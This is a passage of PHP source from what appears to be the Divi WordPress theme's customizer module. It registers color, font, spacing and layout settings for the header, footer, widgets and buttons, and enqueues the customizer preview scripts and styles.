et_get_option( 'primary_nav_bg', '#ffffff' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[fixed_primary_nav_bg]', array( 'label' => esc_html__( 'Primary Menu Background Color', 'Divi' ), 'section' => 'et_divi_header_fixed', 'settings' => 'et_divi[fixed_primary_nav_bg]', ) ) ); $wp_customize->add_setting( 'et_divi[fixed_secondary_nav_bg]', array( 'default' => et_get_option( 'secondary_nav_bg', '#2ea3f2' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[fixed_secondary_nav_bg]', array( 'label' => esc_html__( 'Secondary Menu Background Color', 'Divi' ), 'section' => 'et_divi_header_fixed', 'settings' => 'et_divi[fixed_secondary_nav_bg]', ) ) ); $wp_customize->add_setting( 'et_divi[fixed_menu_link]', array( 'default' => et_get_option( 'menu_link', 'rgba(0,0,0,0.6)' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[fixed_menu_link]', array( 'label' => esc_html__( 'Primary Menu Link Color', 'Divi' ), 'section' => 'et_divi_header_fixed', 'settings' => 'et_divi[fixed_menu_link]', ) ) ); $wp_customize->add_setting( 'et_divi[fixed_secondary_menu_link]', array( 'default' => et_get_option( 'secondary_nav_text_color_new', '#ffffff' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[fixed_secondary_menu_link]', array( 'label' => esc_html__( 'Secondary Menu Link Color', 'Divi' ), 'section' => 'et_divi_header_fixed', 'settings' => 'et_divi[fixed_secondary_menu_link]', ) ) ); $wp_customize->add_setting( 'et_divi[fixed_menu_link_active]', array( 'default' => et_get_option( 'menu_link_active', '#2ea3f2' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[fixed_menu_link_active]', array( 'label' => esc_html__( 'Active Primary Menu Link Color', 'Divi' ), 'section' => 'et_divi_header_fixed', 'settings' => 'et_divi[fixed_menu_link_active]', ) ) ); } $wp_customize->add_setting( 'et_divi[phone_number]', array( 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_html_input_text', ) ); $wp_customize->add_control( 'et_divi[phone_number]', array( 'label' => esc_html__( 'Phone Number', 'Divi' ), 'section' => 'et_divi_header_information', 'type' => 'text', ) ); $wp_customize->add_setting( 'et_divi[header_email]', array( 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'sanitize_email', ) ); $wp_customize->add_control( 'et_divi[header_email]', array( 'label' => esc_html__( 'Email', 'Divi' ), 'section' => 'et_divi_header_information', 'type' => 'text', ) ); $wp_customize->add_setting( 'et_divi[show_footer_social_icons]', array( 'default' => 'on', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'wp_validate_boolean', ) ); $wp_customize->add_control( 'et_divi[show_footer_social_icons]', array( 'label' => esc_html__( 'Show Social Icons', 'Divi' ), 'section' => 'et_divi_footer_elements', 'type' => 'checkbox', ) ); $wp_customize->add_setting( 'et_divi[footer_columns]', array( 'default' => '4', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_footer_column', ) ); $wp_customize->add_control( 'et_divi[footer_columns]', array( 'label' => esc_html__( 'Column Layout', 'Divi' ), 'section' => 'et_divi_footer_layout', 'settings' => 'et_divi[footer_columns]', 'type' => 'select', 'choices' => et_divi_footer_column_choices(), ) ); $wp_customize->add_setting( 'et_divi[footer_bg]', array( 'default' => '#222222', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[footer_bg]', array( 'label' => esc_html__( 'Footer Background Color', 'Divi' ), 'section' => 'et_divi_footer_layout', 'settings' => 'et_divi[footer_bg]', ) ) ); $wp_customize->add_setting( 'et_divi[widget_header_font_size]', array( 'default' => absint( et_get_option( 'body_header_size', '30' ) ) * .6, 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[widget_header_font_size]', array( 'label' => esc_html__( 'Header Text Size', 'Divi' ), 'section' => 'et_divi_footer_widgets', 'type' => 'range', 'input_attrs' => array( 'min' => 10, 'max' => 72, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[widget_header_font_style]', array( 'default' => et_get_option( 'widget_header_font_style', '' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_font_style', ) ); $wp_customize->add_control( new ET_Divi_Font_Style_Option( $wp_customize, 'et_divi[widget_header_font_style]', array( 'label' => esc_html__( 'Header Font Style', 'Divi' ), 'section' => 'et_divi_footer_widgets', 'type' => 'font_style', 'choices' => et_divi_font_style_choices(), ) ) ); $wp_customize->add_setting( 'et_divi[widget_body_font_size]', array( 'default' => et_get_option( 'body_font_size', '14' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[widget_body_font_size]', array( 'label' => esc_html__( 'Body/Link Text Size', 'Divi' ), 'section' => 'et_divi_footer_widgets', 'type' => 'range', 'input_attrs' => array( 'min' => 10, 'max' => 32, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[widget_body_line_height]', array( 'default' => '1.7', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_float_number', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[widget_body_line_height]', array( 'label' => esc_html__( 'Body/Link Line Height', 'Divi' ), 'section' => 'et_divi_footer_widgets', 'type' => 'range', 'input_attrs' => array( 'min' => 0.8, 'max' => 3, 'step' => 0.1, ), ) ) ); $wp_customize->add_setting( 'et_divi[widget_body_font_style]', array( 'default' => et_get_option( 'footer_widget_body_font_style', '' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_font_style', ) ); $wp_customize->add_control( new ET_Divi_Font_Style_Option( $wp_customize, 'et_divi[widget_body_font_style]', array( 'label' => esc_html__( 'Body Font Style', 'Divi' ), 'section' => 'et_divi_footer_widgets', 'type' => 'font_style', 'choices' => et_divi_font_style_choices(), ) ) ); $wp_customize->add_setting( 'et_divi[footer_widget_text_color]', array( 'default' => '#fff', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[footer_widget_text_color]', array( 'label' => esc_html__( 'Widget Text Color', 'Divi' ), 'section' => 'et_divi_footer_widgets', 'settings' => 'et_divi[footer_widget_text_color]', ) ) ); $wp_customize->add_setting( 'et_divi[footer_widget_link_color]', array( 'default' => '#fff', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[footer_widget_link_color]', array( 'label' => esc_html__( 'Widget Link Color', 'Divi' ), 'section' => 'et_divi_footer_widgets', 'settings' => 'et_divi[footer_widget_link_color]', ) ) ); $wp_customize->add_setting( 'et_divi[footer_widget_header_color]', array( 'default' => et_get_option( 'accent_color', '#2ea3f2' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[footer_widget_header_color]', array( 'label' => esc_html__( 'Widget Header Color', 'Divi' ), 'section' => 'et_divi_footer_widgets', 'settings' => 'et_divi[footer_widget_header_color]', ) ) ); $wp_customize->add_setting( 'et_divi[footer_widget_bullet_color]', array( 'default' => et_get_option( 'accent_color', '#2ea3f2' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[footer_widget_bullet_color]', array( 'label' => esc_html__( 'Widget Bullet Color', 'Divi' ), 'section' => 'et_divi_footer_widgets', 'settings' => 'et_divi[footer_widget_bullet_color]', ) ) ); /* Footer Menu */ $wp_customize->add_setting( 'et_divi[footer_menu_background_color]', array( 'default' => 'rgba(255,255,255,0.05)', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[footer_menu_background_color]', array( 'label' => esc_html__( 'Footer Menu Background Color', 'Divi' ), 'section' => 'et_divi_footer_menu', 'settings' => 'et_divi[footer_menu_background_color]', ) ) ); $wp_customize->add_setting( 'et_divi[footer_menu_text_color]', array( 'default' => '#bbbbbb', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[footer_menu_text_color]', array( 'label' => esc_html__( 'Footer Menu Text Color', 'Divi' ), 'section' => 'et_divi_footer_menu', 'settings' => 'et_divi[footer_menu_text_color]', ) ) ); $wp_customize->add_setting( 'et_divi[footer_menu_active_link_color]', array( 'default' => et_get_option( 'accent_color', '#2ea3f2' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[footer_menu_active_link_color]', array( 'label' => esc_html__( 'Footer Menu Active Link Color', 'Divi' ), 'section' => 'et_divi_footer_menu', 'settings' => 'et_divi[footer_menu_active_link_color]', ) ) ); $wp_customize->add_setting( 'et_divi[footer_menu_letter_spacing]', array( 'default' => '0', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[footer_menu_letter_spacing]', array( 'label' => esc_html__( 'Letter Spacing', 'Divi' ), 'section' => 'et_divi_footer_menu', 'type' => 'range', 'input_attrs' => array( 'min' => 0, 'max' => 20, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[footer_menu_font_style]', array( 'default' => et_get_option( 'footer_footer_menu_font_style', '' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_font_style', ) ); $wp_customize->add_control( new ET_Divi_Font_Style_Option( $wp_customize, 'et_divi[footer_menu_font_style]', array( 'label' => esc_html__( 'Font Style', 'Divi' ), 'section' => 'et_divi_footer_menu', 'type' => 'font_style', 'choices' => et_divi_font_style_choices(), ) ) ); $wp_customize->add_setting( 'et_divi[footer_menu_font_size]', array( 'default' => '14', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[footer_menu_font_size]', array( 'label' => esc_html__( 'Font Size', 'Divi' ), 'section' => 'et_divi_footer_menu', 'type' => 'range', 'input_attrs' => array( 'min' => 10, 'max' => 32, 'step' => 1, ), ) ) ); /* Bottom Bar */ $wp_customize->add_setting( 'et_divi[bottom_bar_background_color]', array( 'default' => 'rgba(0,0,0,0.32)', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[bottom_bar_background_color]', array( 'label' => esc_html__( 'Background Color', 'Divi' ), 'section' => 'et_divi_bottom_bar', 'settings' => 'et_divi[bottom_bar_background_color]', ) ) ); $wp_customize->add_setting( 'et_divi[bottom_bar_text_color]', array( 'default' => '#666666', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[bottom_bar_text_color]', array( 'label' => esc_html__( 'Text Color', 'Divi' ), 'section' => 'et_divi_bottom_bar', 'settings' => 'et_divi[bottom_bar_text_color]', ) ) ); $wp_customize->add_setting( 'et_divi[bottom_bar_font_style]', array( 'default' => et_get_option( 'footer_bottom_bar_font_style', '' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_font_style', ) ); $wp_customize->add_control( new ET_Divi_Font_Style_Option( $wp_customize, 'et_divi[bottom_bar_font_style]', array( 'label' => esc_html__( 'Font Style', 'Divi' ), 'section' => 'et_divi_bottom_bar', 'type' => 'font_style', 'choices' => et_divi_font_style_choices(), ) ) ); $wp_customize->add_setting( 'et_divi[bottom_bar_font_size]', array( 'default' => '14', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[bottom_bar_font_size]', array( 'label' => esc_html__( 'Font Size', 'Divi' ), 'section' => 'et_divi_bottom_bar', 'type' => 'range', 'input_attrs' => array( 'min' => 10, 'max' => 32, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[bottom_bar_social_icon_size]', array( 'default' => '24', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[bottom_bar_social_icon_size]', array( 'label' => esc_html__( 'Social Icon Size', 'Divi' ), 'section' => 'et_divi_bottom_bar', 'type' => 'range', 'input_attrs' => array( 'min' => 10, 'max' => 32, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[bottom_bar_social_icon_color]', array( 'default' => '#666666', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[bottom_bar_social_icon_color]', array( 'label' => esc_html__( 'Social Icon Color', 'Divi' ), 'section' => 'et_divi_bottom_bar', 'settings' => 'et_divi[bottom_bar_social_icon_color]', ) ) ); $wp_customize->add_setting( 'et_divi[disable_custom_footer_credits]', array( 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'wp_validate_boolean', ) ); $wp_customize->add_control( 'et_divi[disable_custom_footer_credits]', array( 'label' => esc_html__( 'Disable Footer Credits', 'Divi' ), 'section' => 'et_divi_bottom_bar', 'type' => 'checkbox', ) ); $wp_customize->add_setting( 'et_divi[custom_footer_credits]', array( 'default' => '', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_html_input_text', ) ); $wp_customize->add_control( 'et_divi[custom_footer_credits]', array( 'label' => esc_html__( 'Edit Footer Credits', 'Divi' ), 'section' => 'et_divi_bottom_bar', 'settings' => 'et_divi[custom_footer_credits]', 'type' => 'textarea', ) ); $wp_customize->add_setting( 'et_divi[all_buttons_font_size]', array( 'default' => ET_Global_Settings::get_value( 'all_buttons_font_size', 'default' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[all_buttons_font_size]', array( 'label' => esc_html__( 'Text Size', 'Divi' ), 'section' => 'et_divi_buttons', 'type' => 'range', 'input_attrs' => array( 'min' => 12, 'max' => 30, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[all_buttons_text_color]', array( 'default' => '', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[all_buttons_text_color]', array( 'label' => esc_html__( 'Text Color', 'Divi' ), 'section' => 'et_divi_buttons', 'settings' => 'et_divi[all_buttons_text_color]', ) ) ); $wp_customize->add_setting( 'et_divi[all_buttons_bg_color]', array( 'default' => 'rgba(0,0,0,0)', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[all_buttons_bg_color]', array( 'label' => esc_html__( 'Background Color', 'Divi' ), 'section' => 'et_divi_buttons', 'settings' => 'et_divi[all_buttons_bg_color]', ) ) ); $wp_customize->add_setting( 'et_divi[all_buttons_border_width]', array( 'default' => ET_Global_Settings::get_value( 'all_buttons_border_width', 'default' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[all_buttons_border_width]', array( 'label' => esc_html__( 'Border Width', 'Divi' ), 'section' => 'et_divi_buttons', 'type' => 'range', 'input_attrs' => array( 'min' => 0, 'max' => 10, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[all_buttons_border_color]', array( 'default' => '#ffffff', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[all_buttons_border_color]', array( 'label' => esc_html__( 'Border Color', 'Divi' ), 'section' => 'et_divi_buttons', 'settings' => 'et_divi[all_buttons_border_color]', ) ) ); $wp_customize->add_setting( 'et_divi[all_buttons_border_radius]', array( 'default' => ET_Global_Settings::get_value( 'all_buttons_border_radius', 'default' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[all_buttons_border_radius]', array( 'label' => esc_html__( 'Border Radius', 'Divi' ), 'section' => 'et_divi_buttons', 'type' => 'range', 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[all_buttons_spacing]', array( 'default' => ET_Global_Settings::get_value( 'all_buttons_spacing', 'default' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_int_number', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[all_buttons_spacing]', array( 'label' => esc_html__( 'Letter Spacing', 'Divi' ), 'section' => 'et_divi_buttons', 'type' => 'range', 'input_attrs' => array( 'min' => -2, 'max' => 10, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[all_buttons_font_style]', array( 'default' => '', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_font_style', ) ); $wp_customize->add_control( new ET_Divi_Font_Style_Option( $wp_customize, 'et_divi[all_buttons_font_style]', array( 'label' => esc_html__( 'Button Font Style', 'Divi' ), 'section' => 'et_divi_buttons', 'type' => 'font_style', 'choices' => et_divi_font_style_choices(), ) ) ); $wp_customize->add_setting( 'et_divi[all_buttons_font]', array( 'default' => 'none', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_font_choices', ) ); $wp_customize->add_control( new ET_Divi_Select_Option( $wp_customize, 'et_divi[all_buttons_font]', array( 'label' => esc_html__( 'Buttons Font', 'Divi' ), 'section' => 'et_divi_buttons', 'settings' => 'et_divi[all_buttons_font]', 'type' => 'select', 'choices' => $font_choices, ) ) ); $wp_customize->add_setting( 'et_divi[all_buttons_icon]', array( 'default' => 'yes', 'type' => 'option', 'capability' => 'edit_theme_options', 'sanitize_callback' => 'et_sanitize_yes_no', ) ); $wp_customize->add_control( 'et_divi[all_buttons_icon]', array( 'label' => esc_html__( 'Add Button Icon', 'Divi' ), 'section' => 'et_divi_buttons', 'type' => 'select', 'choices' => et_divi_yes_no_choices(), ) ); $wp_customize->add_setting( 'et_divi[all_buttons_selected_icon]', array( 'default' => '5', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_font_icon', ) ); $wp_customize->add_control( new ET_Divi_Icon_Picker_Option( $wp_customize, 'et_divi[all_buttons_selected_icon]', array( 'label' => esc_html__( 'Select Icon', 'Divi' ), 'section' => 'et_divi_buttons', 'type' => 'icon_picker', ) ) ); $wp_customize->add_setting( 'et_divi[all_buttons_icon_color]', array( 'default' => '#ffffff', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[all_buttons_icon_color]', array( 'label' => esc_html__( 'Icon Color', 'Divi' ), 'section' => 'et_divi_buttons', 'settings' => 'et_divi[all_buttons_icon_color]', ) ) ); $wp_customize->add_setting( 'et_divi[all_buttons_icon_placement]', array( 'default' => 'right', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_left_right', ) ); $wp_customize->add_control( 'et_divi[all_buttons_icon_placement]', array( 'label' => esc_html__( 'Icon Placement', 'Divi' ), 'section' => 'et_divi_buttons', 'type' => 'select', 'choices' => et_divi_left_right_choices(), ) ); $wp_customize->add_setting( 'et_divi[all_buttons_icon_hover]', array( 'default' => 'yes', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_yes_no', ) ); $wp_customize->add_control( 'et_divi[all_buttons_icon_hover]', array( 'label' => esc_html__( 'Only Show Icon on Hover', 'Divi' ), 'section' => 'et_divi_buttons', 'type' => 'select', 'choices' => et_divi_yes_no_choices(), ) ); $wp_customize->add_setting( 'et_divi[all_buttons_text_color_hover]', array( 'default' => '', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[all_buttons_text_color_hover]', array( 'label' => esc_html__( 'Text Color', 'Divi' ), 'section' => 'et_divi_buttons_hover', 'settings' => 'et_divi[all_buttons_text_color_hover]', ) ) ); $wp_customize->add_setting( 'et_divi[all_buttons_bg_color_hover]', array( 'default' => 'rgba(255,255,255,0.2)', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[all_buttons_bg_color_hover]', array( 'label' => esc_html__( 'Background Color', 'Divi' ), 'section' => 'et_divi_buttons_hover', 'settings' => 'et_divi[all_buttons_bg_color_hover]', ) ) ); $wp_customize->add_setting( 'et_divi[all_buttons_border_color_hover]', array( 'default' => 'rgba(0,0,0,0)', 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_alpha_color', ) ); $wp_customize->add_control( new ET_Divi_Customize_Color_Alpha_Control( $wp_customize, 'et_divi[all_buttons_border_color_hover]', array( 'label' => esc_html__( 'Border Color', 'Divi' ), 'section' => 'et_divi_buttons_hover', 'settings' => 'et_divi[all_buttons_border_color_hover]', ) ) ); $wp_customize->add_setting( 'et_divi[all_buttons_border_radius_hover]', array( 'default' => ET_Global_Settings::get_value( 'all_buttons_border_radius_hover', 'default' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'absint', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[all_buttons_border_radius_hover]', array( 'label' => esc_html__( 'Border Radius', 'Divi' ), 'section' => 'et_divi_buttons_hover', 'type' => 'range', 'input_attrs' => array( 'min' => 0, 'max' => 50, 'step' => 1, ), ) ) ); $wp_customize->add_setting( 'et_divi[all_buttons_spacing_hover]', array( 'default' => ET_Global_Settings::get_value( 'all_buttons_spacing_hover', 'default' ), 'type' => 'option', 'capability' => 'edit_theme_options', 'transport' => 'postMessage', 'sanitize_callback' => 'et_sanitize_int_number', ) ); $wp_customize->add_control( new ET_Divi_Range_Option( $wp_customize, 'et_divi[all_buttons_spacing_hover]', array( 'label' => esc_html__( 'Letter Spacing', 'Divi' ), 'section' => 'et_divi_buttons_hover', 'type' => 'range', 'input_attrs' => array( 'min' => -2, 'max' => 10, 'step' => 1, ), ) ) ); } endif; /** * Add action hook to the footer in customizer preview. */ function et_customizer_preview_footer_action() { if ( is_customize_preview() ) { do_action( 'et_customizer_footer_preview' ); } } add_action( 'wp_footer', 'et_customizer_preview_footer_action' ); /** * Add container with social icons to the footer in customizer preview. * Used to get the icons and append them into the header when user enables the header social icons in customizer. */ function et_load_social_icons() { $post_id = is_singular() ? get_the_ID() : 0; $is_custom_post_type = et_builder_post_is_of_custom_post_type( $post_id ); echo '<div class="et_customizer_social_icons" style="display:none;">'; get_template_part( 'includes/social_icons', 'header' ); echo '</div>'; ?> <script type="text/javascript"> (function($) { var isCustomPostType = <?php echo wp_json_encode( $is_custom_post_type ); ?>; $(function() { $(document).trigger('et-customizer-preview-load', { isCustomPostType: isCustomPostType, selectorWrapper: <?php echo wp_json_encode( ET_BUILDER_CSS_PREFIX ); ?> }); }); }(jQuery)); </script> <?php } add_action( 'et_customizer_footer_preview', 'et_load_social_icons' ); function et_divi_customize_preview_js() { $theme_version = et_get_theme_version(); $custom_user_fonts = et_builder_get_custom_fonts(); $use_google_fonts = et_core_use_google_fonts(); $websafe_fonts = et_builder_get_websafe_fonts(); $google_fonts = $websafe_fonts; $supported_options = et_builder_get_font_weight_list(); if ( $use_google_fonts ) { $google_fonts = array_merge( $websafe_fonts, et_builder_get_google_fonts() ); ksort( $google_fonts ); } $google_fonts = array_merge( array( 'Default' => array() ), $google_fonts ); wp_enqueue_script( 'divi-customizer', get_template_directory_uri() . '/js/theme-customizer.js', array( 'customize-preview' ), $theme_version, true ); wp_localize_script( 'divi-customizer', 'et_main_customizer_data', array( 'original_footer_credits' => et_get_original_footer_credits(), 'google_fonts' => $google_fonts, 'custom_fonts' => $custom_user_fonts, 'supported_options' => $supported_options, ) ); } add_action( 'customize_preview_init', 'et_divi_customize_preview_js' ); function et_divi_customize_preview_js_context() { // Run in the wp_enqueue_scripts hook as it fires late enough that the main WP query has been resolved. $layouts = et_theme_builder_get_template_layouts(); wp_localize_script( 'divi-customizer', 'et_theme_builder_customizer_data', array( 'hasHeaderLayout' => ! empty( $layouts ) && $layouts[ ET_THEME_BUILDER_HEADER_LAYOUT_POST_TYPE ]['override'], 'hasFooterLayout' => ! empty( $layouts ) && $layouts[ ET_THEME_BUILDER_FOOTER_LAYOUT_POST_TYPE ]['override'], ) ); } add_action( 'wp_enqueue_scripts', 'et_divi_customize_preview_js_context' ); function et_divi_customize_preview_css() { $theme_version = et_get_theme_version(); wp_enqueue_style( 'divi-customizer-controls-styles', get_template_directory_uri() . '/css/theme-customizer-controls.css', array(), $theme_version ); wp_enqueue_script( 'divi-customizer-controls-js', get_template_directory_uri() . '/js/theme-customizer-controls.js', array( 'jquery' ), $theme_version, true ); wp_localize_script( 'divi-customizer-controls-js', 'et_divi_customizer_data', array( 'is_old_wp' => et_pb_is_wp_old_version() ? 'old' : 'new', 'color_palette' => implode( '|', et_pb_get_default_color_palette() ), ) ); } add_action( 'customize_controls_enqueue_scripts', 'et_divi_customize_preview_css' ); /** * Enqueue styles inside the Theme Customizer for preview purposes. */ function et_divi_customizer_styles() { $theme_version = et_get_theme_version(); if ( is_customize_preview() ) { wp_enqueue_style( 'divi-customizer-styles', get_template_directory_uri() . '/css/theme-customizer-styles.css', array(), $theme_version ); } } add_action( 'wp_enqueue_scripts', 'et_divi_customizer_styles' ); /** * Modifying builder options based on saved Divi values * @param array current builder options values * @return array modified builder options values */ function et_divi_builder_options( $options ) { $options['all_buttons_icon'] = et_get_option( 'all_buttons_icon', 'yes' ); return $options; } add_filter( 'et_builder_options', 'et_divi_builder_options' ); /** * Add custom customizer control * Check for WP_Customizer_Control existence before adding custom control because WP_Customize_Control is loaded on customizer page only * * @see _wp_customize_include() 